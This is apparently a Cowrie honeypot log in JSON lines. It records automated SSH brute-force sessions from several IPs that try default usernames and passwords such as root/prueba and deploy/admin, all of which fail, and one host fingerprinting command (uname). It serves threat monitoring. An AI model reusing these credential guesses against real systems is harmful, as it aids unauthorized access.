{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:11.047839Z","src_ip":"141.11.88.14","session":"b28f4d1d96f7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:11.050925Z","src_ip":"141.11.88.14","session":"b28f4d1d96f7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:11.216044Z","src_ip":"141.11.88.14","session":"b28f4d1d96f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:11.220972Z","src_ip":"141.11.88.14","session":"b28f4d1d96f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":26786,"dst_ip":"10.17.0.5","dst_port":22,"session":"b009da8c2cb7","protocol":"ssh","message":"New connection: 177.85.247.230:26786 (10.17.0.5:22) [session: b009da8c2cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:14.107934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:14.112502Z","src_ip":"177.85.247.230","session":"b009da8c2cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:14.214727Z","src_ip":"177.85.247.230","session":"b009da8c2cb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prueba","message":"login attempt [root/prueba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:14.659210Z","src_ip":"177.85.247.230","session":"b009da8c2cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:15.765350Z","src_ip":"177.85.247.230","session":"b009da8c2cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":42702,"dst_ip":"10.17.0.5","dst_port":22,"session":"87ca54600995","protocol":"ssh","message":"New connection: 141.11.88.14:42702 (10.17.0.5:22) [session: 87ca54600995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:17.439103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:17.461633Z","src_ip":"141.11.88.14","session":"87ca54600995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:17.808990Z","src_ip":"141.11.88.14","session":"87ca54600995","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123","message":"login attempt [chris/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:18.436342Z","src_ip":"141.11.88.14","session":"87ca54600995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:19.712111Z","src_ip":"141.11.88.14","session":"87ca54600995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38244,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5b38db674af","protocol":"ssh","message":"New connection: 141.11.88.14:38244 (10.17.0.5:22) [session: a5b38db674af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:23.489929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:23.597434Z","src_ip":"141.11.88.14","session":"a5b38db674af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:23.602321Z","src_ip":"141.11.88.14","session":"a5b38db674af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anderson","password":"123456","message":"login attempt [anderson/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:24.259169Z","src_ip":"141.11.88.14","session":"a5b38db674af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:25.481994Z","src_ip":"141.11.88.14","session":"a5b38db674af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":45722,"dst_ip":"10.17.0.5","dst_port":22,"session":"60ee7bc945fd","protocol":"ssh","message":"New connection: 141.11.88.14:45722 (10.17.0.5:22) [session: 60ee7bc945fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:30.347216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:30.528646Z","src_ip":"141.11.88.14","session":"60ee7bc945fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:30.531938Z","src_ip":"141.11.88.14","session":"60ee7bc945fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:31.694667Z","src_ip":"141.11.88.14","session":"60ee7bc945fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":59560,"dst_ip":"159.203.135.109","dst_port":22,"session":"620ec9e1f3b0","protocol":"ssh","message":"New connection: 147.45.199.80:59560 (159.203.135.109:22) [session: 620ec9e1f3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:32.469231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:32.474032Z","src_ip":"147.45.199.80","session":"620ec9e1f3b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:32.571896Z","src_ip":"147.45.199.80","session":"620ec9e1f3b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345vfif","message":"login attempt [root/12345vfif] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:32.859375Z","src_ip":"147.45.199.80","session":"620ec9e1f3b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:32.925077Z","src_ip":"141.11.88.14","session":"60ee7bc945fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:33.957380Z","src_ip":"147.45.199.80","session":"620ec9e1f3b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":37002,"dst_ip":"10.17.0.5","dst_port":22,"session":"53fa9daed474","protocol":"ssh","message":"New connection: 87.106.47.28:37002 (10.17.0.5:22) [session: 53fa9daed474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:36.897364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:36.901823Z","src_ip":"87.106.47.28","session":"53fa9daed474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":87.72766065597534,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:36.974220Z","src_ip":"128.199.8.54","session":"b7da87d695ae","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:36.997031Z","src_ip":"87.106.47.28","session":"53fa9daed474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:37.399013Z","src_ip":"87.106.47.28","session":"53fa9daed474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":20202,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9208574ff87","protocol":"ssh","message":"New connection: 141.11.88.14:20202 (10.17.0.5:22) [session: d9208574ff87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:37.780465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:37.879270Z","src_ip":"141.11.88.14","session":"d9208574ff87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:37.882625Z","src_ip":"141.11.88.14","session":"d9208574ff87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:38.497896Z","src_ip":"87.106.47.28","session":"53fa9daed474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"123","message":"login attempt [bob/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:38.723556Z","src_ip":"141.11.88.14","session":"d9208574ff87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:39.844756Z","src_ip":"141.11.88.14","session":"d9208574ff87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.1739866733551,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:40.683274Z","src_ip":"128.199.8.54","session":"be6bf5542f55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":20262,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a5932e0d226","protocol":"ssh","message":"New connection: 141.11.88.14:20262 (10.17.0.5:22) [session: 9a5932e0d226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:44.653800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:44.759111Z","src_ip":"141.11.88.14","session":"9a5932e0d226","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:44.762653Z","src_ip":"141.11.88.14","session":"9a5932e0d226","protocol":"ssh"}
